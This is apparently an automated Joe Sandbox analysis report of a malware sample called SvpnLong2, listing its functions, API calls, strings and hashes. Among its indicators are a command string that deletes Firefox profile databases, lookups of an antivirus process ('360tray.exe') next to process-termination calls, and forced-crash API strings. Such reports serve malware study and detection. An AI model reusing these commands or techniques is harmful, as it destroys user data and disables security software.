Opcode ID: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction ID: cb7a8257a361e592c1d512505bee12512fcde88ef54919c2f5677c1dabd72a36
Opcode Fuzzy Hash: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction Fuzzy Hash: 6D112D30719B9583EA04DB56F9543A973A5BB99FC4F448029EE8E87B28DF3CC646C701

Function 0185C5D0 Relevance: 15.3, APIs: 10, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 0185C6F7

Part of subcall function 01859FFC: GetLastError.KERNEL32 ref: 0185A060
Part of subcall function 01859FFC: free.LIBCMT ref: 0185A0DE

free.LIBCMT ref: 0185C8BF
free.LIBCMT ref: 0185C8CF
free.LIBCMT ref: 0185C8DF
free.LIBCMT ref: 0185C8EB
free.LIBCMT ref: 0185C940
free.LIBCMT ref: 0185C948
free.LIBCMT ref: 0185C950
free.LIBCMT ref: 0185C958
free.LIBCMT ref: 0185C962

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorInfoLast
String ID:
API String ID: 189849726-0
Opcode ID: e525c1cb3e6386a181c4d0daa73f60771862da33f7864b2829add738fe7eba5f
Instruction ID: a1af83f23f4e5faea018ff17a842817eb78a338eb5b0f7060ecd006ffff80418
Opcode Fuzzy Hash: e525c1cb3e6386a181c4d0daa73f60771862da33f7864b2829add738fe7eba5f
Instruction Fuzzy Hash: 6EB1BB7230579196DB95CF2AE0843AE7BA8F749B84F84412AEF99C7754DF39C241CB00

Function 0185F104 Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0185F4AE), ref: 0185F1F7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0185F4AE), ref: 0185F276
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0185F4AE), ref: 0185F31D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0185F4AE), ref: 0185F343

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: f34d3485225abe201f156ee5a92cadae1c67f5736959084074a7a83502674a3e
Instruction ID: 64a9ced61aae5852ed216984a4004a60d35636dad6e73f7ec5cbc7cd958982c0
Opcode Fuzzy Hash: f34d3485225abe201f156ee5a92cadae1c67f5736959084074a7a83502674a3e
Instruction Fuzzy Hash: DE91E472744B809AEB629F29D8403AA7F92F7427E8F484626EF69D7784DB34C744C340

Function 0185A690 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0185A9CD), ref: 0185A72A
malloc.LIBCMT ref: 0185A793
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0185A9CD), ref: 0185A7C7
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0185A9CD), ref: 0185A7EE
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0185A9CD), ref: 0185A836
malloc.LIBCMT ref: 0185A893

Part of subcall function 01855728: _FF_MSGBANNER.LIBCMT ref: 01855758
Part of subcall function 01855728: RtlAllocateHeap.NTDLL ref: 0185577D
Part of subcall function 01855728: _callnewh.LIBCMT ref: 01855796
Part of subcall function 01855728: _errno.LIBCMT ref: 018557A1
Part of subcall function 01855728: _errno.LIBCMT ref: 018557AC

LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0185A9CD), ref: 0185A8C8
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,0185A9CD), ref: 0185A908
free.LIBCMT ref: 0185A91C
free.LIBCMT ref: 0185A92D

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocateHeap_callnewh
String ID:
API String ID: 1390791636-0
Opcode ID: ec2226a11ac42a0a9aad46d459b7bf1c4dd3ede183edfbd6e88edfe1e39ce260
Instruction ID: 0d561f9f3b720dc12b3eece07071c7cf2615aae07226a109d858f62b11902b34
Opcode Fuzzy Hash: ec2226a11ac42a0a9aad46d459b7bf1c4dd3ede183edfbd6e88edfe1e39ce260
Instruction Fuzzy Hash: 1571D336304B8086DB698F69E880359B7E5FB48BF8F544725EF6E93B94DB38C6418700

Function 0184E280 Relevance: 15.1, APIs: 10, Instructions: 121synchronizationsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 018419A0: WSAStartup.WS2_32 ref: 01841A19
Part of subcall function 018419A0: CreateEventA.KERNEL32 ref: 01841A2A

Part of subcall function 01841BF0: ResetEvent.KERNEL32 ref: 01841C2D
Part of subcall function 01841BF0: timeGetTime.WINMM ref: 01841C3F
Part of subcall function 01841BF0: socket.WS2_32 ref: 01841C66

CreateEventA.KERNEL32 ref: 0184E32E
setsockopt.WS2_32 ref: 0184E383
CancelIo.KERNEL32 ref: 0184E38D
closesocket.WS2_32 ref: 0184E3A1
SetEvent.KERNEL32 ref: 0184E3AE
WaitForSingleObject.KERNEL32 ref: 0184E40D
Sleep.KERNEL32 ref: 0184E418
WaitForSingleObject.KERNEL32 ref: 0184E42B
WaitForSingleObject.KERNEL32 ref: 0184E438
Sleep.KERNEL32 ref: 0184E44E

Part of subcall function 01841AC0: Sleep.KERNEL32 ref: 01841ADC
Part of subcall function 01841AC0: CloseHandle.KERNEL32 ref: 01841AEB
Part of subcall function 01841AC0: CloseHandle.KERNEL32 ref: 01841AFA
Part of subcall function 01841AC0: CloseHandle.KERNEL32 ref: 01841B0C
Part of subcall function 01841AC0: WSACleanup.WS2_32 ref: 01841B12
Part of subcall function 01841AC0: VirtualFree.KERNELBASE ref: 01841B29
Part of subcall function 01841AC0: VirtualFree.KERNELBASE ref: 01841B4D
Part of subcall function 01841AC0: VirtualFree.KERNELBASE ref: 01841B6F
Part of subcall function 01841AC0: VirtualFree.KERNEL32 ref: 01841B9C
Part of subcall function 01841AC0: VirtualFree.KERNEL32 ref: 01841BB7
Part of subcall function 01841AC0: VirtualFree.KERNEL32 ref: 01841BD2

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: FreeVirtual$Event$CloseHandleObjectSingleSleepWait$Create$CancelCleanupResetStartupTimeclosesocketsetsockoptsockettime
String ID:
API String ID: 1609788701-0
Opcode ID: dc173393853f9347587d6fc877c65525edd5dd1269855d1b1e6918785861a102
Instruction ID: 2f267e5dba86cb4802fc19a5ab00313e4e5643482c5d6ef07ae2ede3305b0ea8
Opcode Fuzzy Hash: dc173393853f9347587d6fc877c65525edd5dd1269855d1b1e6918785861a102
Instruction Fuzzy Hash: B0516D32214B848AE721DF39E85439D77B1F7857A4F504226EAAD87BA8DF38C645CB40

Function 0184F1D0 Relevance: 15.1, APIs: 10, Instructions: 62sleepprocessstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0184F1F7
Process32First.KERNEL32 ref: 0184F225
lstrcmp.KERNEL32 ref: 0184F238
OpenProcess.KERNEL32 ref: 0184F24C
TerminateProcess.KERNEL32 ref: 0184F25F
CloseHandle.KERNEL32 ref: 0184F268
Process32Next.KERNEL32 ref: 0184F276
Sleep.KERNEL32 ref: 0184F285
CloseHandle.KERNEL32 ref: 0184F28E
CloseHandle.KERNEL32 ref: 0184F2C5

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateFirstNextOpenSleepSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3983807665-0
Opcode ID: 8132cbef4ec8ecc70cc8b603749dd807ee720ed53490101634d4937dba80a384
Instruction ID: 821bc9e5dd806d0634359c2d7abb7665503826673d82754d6b88b90547e186b8
Opcode Fuzzy Hash: 8132cbef4ec8ecc70cc8b603749dd807ee720ed53490101634d4937dba80a384
Instruction Fuzzy Hash: 36213335308B54C2EB25DB66F9543AA73A1FB89FD4F448624DA5E87794EF3CC2458700

Function 0185902C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0185904D

Part of subcall function 0185537C: Sleep.KERNEL32(?,?,00000000,01853110), ref: 018553C1

GetFileType.KERNEL32 ref: 018591B8
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 018591F6

Strings

@, xrefs: 018592B1

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: b5c88d47e09fa23ce06dcaad218e96721abd1376188eb1fd35c62f2ee928df44
Instruction ID: 9aec71b9bd43337c38cee2f799e8deba469621757a9534945da91aa0bce8fe03
Opcode Fuzzy Hash: b5c88d47e09fa23ce06dcaad218e96721abd1376188eb1fd35c62f2ee928df44
Instruction Fuzzy Hash: 95818F72601B85C6DB54DF29D9843593765F749BB8F488328DE7A873E5EB38C259C300

Function 01842AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 01842AD6

Part of subcall function 01853290: malloc.LIBCMT ref: 018532AA

Process32First.KERNEL32 ref: 01842B0D
lstrcmpi.KERNEL32 ref: 01842B27
Process32Next.KERNEL32 ref: 01842B37
lstrcmpi.KERNEL32 ref: 01842B4C
Process32Next.KERNEL32 ref: 01842B5C
CloseHandle.KERNEL32 ref: 01842B73

Strings

360tray.exe, xrefs: 01842B17, 01842B41

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Process32$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32malloc
String ID: 360tray.exe
API String ID: 2114354-563812762
Opcode ID: 9bdbb94246f68bf99088d796db0f409c1b278a73bd766a0d55989b28f0cdda84
Instruction ID: 0f05e38079d792e234425fef4b44ae42886c05f9aa796e44865dcf5fa73de341
Opcode Fuzzy Hash: 9bdbb94246f68bf99088d796db0f409c1b278a73bd766a0d55989b28f0cdda84
Instruction Fuzzy Hash: B7216D31318A41C2EB049F26F85039A73A2F789FC0F489421EE4E8B758DF38C68AC701

Function 01842F20 Relevance: 13.6, APIs: 9, Instructions: 99threadCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 01842F37
GetWindowThreadProcessId.USER32 ref: 01842F63
GetCurrentProcessId.KERNEL32 ref: 01842F6B
GetCurrentThreadId.KERNEL32 ref: 01842F77
GetWindowTextA.USER32 ref: 01842F8D
InternalGetWindowText.USER32 ref: 01842FD6
WideCharToMultiByte.KERNEL32 ref: 01842FFA
WideCharToMultiByte.KERNEL32 ref: 01843021
GetWindowTextA.USER32 ref: 0184306C

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Window$Text$ByteCharCurrentMultiProcessThreadWide$Internal
String ID:
API String ID: 3111847906-0
Opcode ID: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction ID: 20efab6b36e06e0c919f4786d248c11e0ffbdb90374fdbc6029a1abaf85b9fcd
Opcode Fuzzy Hash: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction Fuzzy Hash: 2C31C372708B8087E7219F2AB80475AB791F785BE4F484238EE9A87B54DF38C245CB05

Function 0184E723 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0184E72A
GetProcAddress.KERNEL32 ref: 0184E73A
GetModuleHandleA.KERNEL32 ref: 0184E74A
GetProcAddress.KERNEL32 ref: 0184E75A

Strings

ntdll.dll, xrefs: 0184E723, 0184E740
RtlAdjustPrivilege, xrefs: 0184E730
NtRaiseHardError, xrefs: 0184E750

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 1646373207-3189222469
Opcode ID: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction ID: b7b60916d8f6d4eb68bdd6014584649dd547b1be2db34269027c6db71b50de54
Opcode Fuzzy Hash: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction Fuzzy Hash: 94011931610B8682EB10DBA5F858BC9B361FB89798F449016EA4D07B24EF38C249CB00

Function 000000018006C9C4 Relevance: 12.2, APIs: 8, Instructions: 165COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000000018006CA0B
_invalid_parameter_noinfo.LIBCMT ref: 000000018006CA17
_errno.LIBCMT ref: 000000018006CA61
_errno.LIBCMT ref: 000000018006CA6C
_errno.LIBCMT ref: 000000018006CA9E
_invalid_parameter_noinfo.LIBCMT ref: 000000018006CAA8
_errno.LIBCMT ref: 000000018006CB5D
_invalid_parameter_noinfo.LIBCMT ref: 000000018006CB69

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: d8011d9ac2b61c2dddfb7d5229b17397799c0e2055efbacb6fe382a5cad1c75f
Instruction ID: f2a45f5f6ea0c7c4e7fc886c5d87aba4e0202baa65075145f3cc38766456ca1f
Opcode Fuzzy Hash: d8011d9ac2b61c2dddfb7d5229b17397799c0e2055efbacb6fe382a5cad1c75f
Instruction Fuzzy Hash: 2351B331510B0D8BEBE7DB688C44BF936E1FB48399F688268F465D61C2DE34CA498743

Function 01859AB0 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 01859AD7

Part of subcall function 0185A4A4: _set_error_mode.LIBCMT ref: 0185A4AD
Part of subcall function 0185A4A4: _set_error_mode.LIBCMT ref: 0185A4BC

Part of subcall function 0185A244: _set_error_mode.LIBCMT ref: 0185A289
Part of subcall function 0185A244: _set_error_mode.LIBCMT ref: 0185A29A
Part of subcall function 0185A244: GetModuleFileNameW.KERNEL32 ref: 0185A2FC

Part of subcall function 01854F94: ExitProcess.KERNEL32 ref: 01854FA3

Part of subcall function 018552FC: malloc.LIBCMT ref: 01855327
Part of subcall function 018552FC: Sleep.KERNEL32(?,?,00000000,01859B11,?,?,00000000,01859BBB,?,?,?,?,?,?,00000000,0185492C), ref: 0185533A

_errno.LIBCMT ref: 01859B19
_lock.LIBCMT ref: 01859B2D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000000,01859BBB,?,?,?,?,?,?,00000000,0185492C,?,?,000002C8,01853209), ref: 01859B43
free.LIBCMT ref: 01859B50
_errno.LIBCMT ref: 01859B55
RtlLeaveCriticalSection.NTDLL ref: 01859B78

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction ID: 8c898675d8bc4cba7879323fe42afb5559fbc729fcf853650ebfc983d8ee2a0c
Opcode Fuzzy Hash: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction Fuzzy Hash: 6621D031A15A59C2FB96AB69E84436A7364FB80BC8F949124DE4AC7790CF3CC644C353

Function 01858A90 Relevance: 12.0, APIs: 8, Instructions: 39COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 01858A9D
_errno.LIBCMT ref: 01858AA5
_invalid_parameter_noinfo.LIBCMT ref: 01858AB1
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0185408F), ref: 01858AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0185408F), ref: 01858ACD
_errno.LIBCMT ref: 01858ADA

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 2953107838-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: 1a145fbe4760d25ebefe8799fad940395893f9d7d577a3a9d4630839e94f0cbb
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: 76F06DB0601A06CBFBD62BBE9C4136E2655EB627A6F409511DE22D62C1DB384B80C723

Function 0185BFB0 Relevance: 10.8, APIs: 7, Instructions: 305COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0185C034
free.LIBCMT ref: 0185C059
free.LIBCMT ref: 0185C41E
free.LIBCMT ref: 0185C42A

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 427806122d9ac67d8dfcfd0f33075a7ba0103d90d57bf8b600a7dc0f9248a042
Instruction ID: a1ac6395c7d394c5e0896db4d6bb06751b49f6ea98cca729537b8e11da949166
Opcode Fuzzy Hash: 427806122d9ac67d8dfcfd0f33075a7ba0103d90d57bf8b600a7dc0f9248a042
Instruction Fuzzy Hash: BEC17E32700B55D5DB60DB6AE484AAE77A8F799B88F404526CF8D97714EF78C306CB40

Function 01847CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 01853290: malloc.LIBCMT ref: 018532AA

std::exception::exception.LIBCMT ref: 01847DA7
free.LIBCMT ref: 01847E17
free.LIBCMT ref: 01847E29
free.LIBCMT ref: 01847E3B
free.LIBCMT ref: 01847E4D

Strings

bad locale name, xrefs: 01847D94

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 08831ff9d86e75054c63f3fb774fa835da7c328e3230751d7bd429d534827bef
Instruction ID: 6a88ce8cff0c7ca7de9bf463c07dbb7806b53f38d6bf40e2e223ccd285c456e5
Opcode Fuzzy Hash: 08831ff9d86e75054c63f3fb774fa835da7c328e3230751d7bd429d534827bef
Instruction Fuzzy Hash: 40417736B01B449AFB21EBB8E4503DD3376EB5479CF440526CF49ABA98DF348669C384

Function 0184D060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 01853290: malloc.LIBCMT ref: 018532AA

std::exception::exception.LIBCMT ref: 0184D10B
free.LIBCMT ref: 0184D18D
free.LIBCMT ref: 0184D19F
free.LIBCMT ref: 0184D1B1
free.LIBCMT ref: 0184D1C3

Strings

bad locale name, xrefs: 0184D0F8

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 313f0e32c2ebebe2d1126992b8392d53e546b2894d241d5580ede04190ed898e
Instruction ID: 5442c8e04ade3c717aeb24a1f28a45610d2cb27f68057933b6534c3e2bafcc3c
Opcode Fuzzy Hash: 313f0e32c2ebebe2d1126992b8392d53e546b2894d241d5580ede04190ed898e
Instruction Fuzzy Hash: 5F414436201B4499EB12EFA8E8903AD37B4EB9479CF448625DE8D97A58DF34C629C305

Function 01855128 Relevance: 10.6, APIs: 7, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 01855151

Part of subcall function 01859B98: _amsg_exit.LIBCMT ref: 01859BC2

RtlDecodePointer.NTDLL ref: 01855184
RtlDecodePointer.NTDLL ref: 018551A2
RtlDecodePointer.NTDLL ref: 018551E2
RtlDecodePointer.NTDLL ref: 018551FC
RtlDecodePointer.NTDLL ref: 0185520C
ExitProcess.KERNEL32 ref: 01855298

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID:
API String ID: 3411037476-0
Opcode ID: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction ID: a128e5cac37bd56cdce829da1c3a609c9e58c7c8661469c37c00a130b220b901
Opcode Fuzzy Hash: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction Fuzzy Hash: 4D31E331212B4181EB809F19FC9435977A5F789BD4F844425EE8E83B28EF38C295C701

Function 018542A4 Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 018583F4: HeapCreate.KERNELBASE ref: 0185840A
Part of subcall function 018583F4: GetVersion.KERNEL32 ref: 0185841C
Part of subcall function 018583F4: HeapSetInformation.KERNEL32 ref: 0185843A

_RTC_Initialize.LIBCMT ref: 018542D6
GetCommandLineA.KERNEL32 ref: 018542DB

Part of subcall function 0185976C: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 01859785
Part of subcall function 0185976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 018597DC
Part of subcall function 0185976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 01859817
Part of subcall function 0185976C: free.LIBCMT ref: 01859824
Part of subcall function 0185976C: FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,018542ED), ref: 0185982F

Part of subcall function 0185902C: GetStartupInfoW.KERNEL32 ref: 0185904D

__setargv.LIBCMT ref: 01854304
_cinit.LIBCMT ref: 01854318

Part of subcall function 018547F4: FlsFree.KERNEL32(?,?,?,?,01854382), ref: 01854803
Part of subcall function 018547F4: RtlDeleteCriticalSection.NTDLL ref: 01859A43
Part of subcall function 018547F4: free.LIBCMT ref: 01859A4C
Part of subcall function 018547F4: RtlDeleteCriticalSection.NTDLL ref: 01859A73

Part of subcall function 01859300: free.LIBCMT ref: 01859351

Part of subcall function 0185537C: Sleep.KERNEL32(?,?,00000000,01853110), ref: 018553C1

FlsSetValue.KERNEL32 ref: 018543B2
GetCurrentThreadId.KERNEL32 ref: 018543C6
free.LIBCMT ref: 018543D5

Part of subcall function 01853D28: HeapFree.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D3E
Part of subcall function 01853D28: _errno.LIBCMT ref: 01853D48
Part of subcall function 01853D28: GetLastError.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D50

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 3e6a505305982a7036bb7baf798e1af14b3eaeebb1605479fe5373ab37efe9b9
